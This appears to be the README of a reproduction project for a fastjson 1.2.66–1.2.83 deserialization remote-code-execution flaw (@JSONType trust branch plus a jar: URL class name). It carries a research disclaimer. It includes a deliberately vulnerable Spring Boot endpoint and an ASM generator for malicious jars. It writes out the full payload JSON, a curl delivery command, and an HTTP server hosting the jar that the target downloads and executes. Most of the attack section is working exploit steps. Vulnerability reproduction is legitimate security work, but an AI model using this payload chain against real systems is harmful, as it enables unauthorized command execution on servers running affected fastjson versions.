
Reproduces fastjson 1.2.83 @JSONType RCE with a vulnerable Spring Boot target and ASM-based payload generator using HTTP or file protocol jar chains.
@JSONType Resource Probe Chain RCE
A reproduction project for remote class loading / command execution in fastjson 1.2.66 ~ 1.2.83 via the @JSONType annotation + an illegal class name + the jar: protocol.
⚠️ Disclaimer
This project is intended solely for security research, vulnerability reproduction, and authorized testing. It is strictly forbidden to use it against any unauthorized system, for illegal attacks, or for malicious purposes. Users bear full responsibility for their own actions; the author assumes no legal liability for any misuse.
Vulnerability analysis article: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
This project sets up a complete fastjson 1.2.83 vulnerability reproduction environment around CVE-2026-16723:
demo/ — The vulnerable Spring Boot 2.7.18 web application (dependent on fastjson 1.2.83), which exposes the POST /parse endpoint and directly calls JSON.parse(json);exp/ — An ASM-based malicious probe jar generator (in both HTTP protocol / FILE protocol forms);环境/ — Precompiled FatJars for three middleware options (Tomcat / Jetty / Undertow), ready to use out of the box.Core exploitation idea: by crafting special JSON whose @type is a jar URL, fastjson is driven along the
@JSONType annotation trust branch → getResourceAsStream downloads a remote/local jar →
defineClass loads the malicious class → class initialization triggers <clinit> → arbitrary command execution (RCE).
| Item | Value |
|---|---|
| CVE | CVE-2026-16723 |
| Component | Alibaba fastjson |
| Affected Versions | 1.2.66 ~ 1.2.83 (the final 1.x version is still affected) |
| Vulnerability Type | Deserialization Remote Code Execution (RCE) |
| Trigger Entry | JSON.parse(json) / JSON.parseObject(json) (without specifying a concrete type) |
| Prerequisites | Target is a Spring Boot FatJar, JDK 8, safeMode disabled |
JSON.parse(json) or JSON.parseObject(json) to directly parse untrusted input,
with fastjson version in 1.2.66 ~ 1.2.83 and safeMode not enabled;java -jar, LaunchedURLClassLoader;
only Spring Boot ≤ 2.7 retains the jar: protocol Handler fallback capability);defineClass throws ClassFormatError, so at best you can only achieve SSRF);When fastjson's checkAutoType encounters a class carrying the @JSONType annotation, it enters the trust branch,
skipping most blacklist checks and allowing the load. This project exploits that by using ASM to write bytecode directly,
writing an [illegal inner class name] into the this_class of the class constant pool so that all three names align perfectly:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Malicious class structure:
@JSONType annotation — the key that opens fastjson's checkAutoType trust branch;<init>()V — ensures fastjson can instantiate the class normally;<clinit> static initializer block — upon class loading/initialization, executes
Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) to achieve command execution.An illegal class name cannot be written with
javac; only ASM can write the URL directly into the constant pool — this is why this project's generator depends onasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
The lab must run in a JDK 8 environment (consistent with the exploitation conditions).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
After startup, the endpoint address is: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — the HTTP hosting port for the malicious jaropen -a Calculator — the command to execute on the target machine (pops up Calculator on macOS;
on Linux, use id > /tmp/pwned 2>&1 and verify whether the file exists)By default, a file named x (no extension) is generated, which contains y.class inside.
The payload is:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Make sure
python3 -m http.serveris started in the directory where thexfile was generated.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
The command execution result is not echoed back in the HTTP response; confirmation must be done on the target machine:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
Applicable scenario: the target cannot access the attacker machine's HTTP port (intranet isolation / restricted egress), but the jar file can be placed onto the target machine's filesystem.
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'